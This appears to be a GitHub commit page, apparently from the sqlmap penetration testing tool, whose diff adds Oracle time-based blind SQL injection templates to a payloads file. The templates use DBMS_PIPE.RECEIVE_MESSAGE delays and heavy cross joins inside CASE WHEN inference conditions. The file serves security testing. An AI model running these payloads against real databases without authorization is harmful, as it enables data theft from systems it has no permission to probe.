Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit f9085e0

Browse files
stamparmstamparm
committed
added vectors for Oracle time-based payloads
1 parent 2af8835 commit f9085e0

1 file changed

Lines changed: 6 additions & 2 deletions

File tree

‎xml/payloads.xml‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1466,6 +1466,7 @@ Formats:
14661466
<risk>1</risk>
14671467
<clause>1,2,3</clause>
14681468
<where>1</where>
1469+
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
14691470
<request>
14701471
<payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
14711472
</request>
@@ -1484,8 +1485,9 @@ Formats:
14841485
<risk>1</risk>
14851486
<clause>1,2,3</clause>
14861487
<where>1</where>
1488+
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
14871489
<request>
1488-
<payload>AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload>
1490+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
14891491
</request>
14901492
<response>
14911493
<time>[DELAYED]</time>
@@ -1621,6 +1623,7 @@ Formats:
16211623
<risk>3</risk>
16221624
<clause>1,2,3</clause>
16231625
<where>2</where>
1626+
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
16241627
<request>
16251628
<payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
16261629
</request>
@@ -1639,8 +1642,9 @@ Formats:
16391642
<risk>4</risk>
16401643
<clause>1,2,3</clause>
16411644
<where>2</where>
1645+
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
16421646
<request>
1643-
<payload>OR (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload>
1647+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
16441648
</request>
16451649
<response>
16461650
<time>[DELAYED]</time>

0 commit comments

Comments
 (0)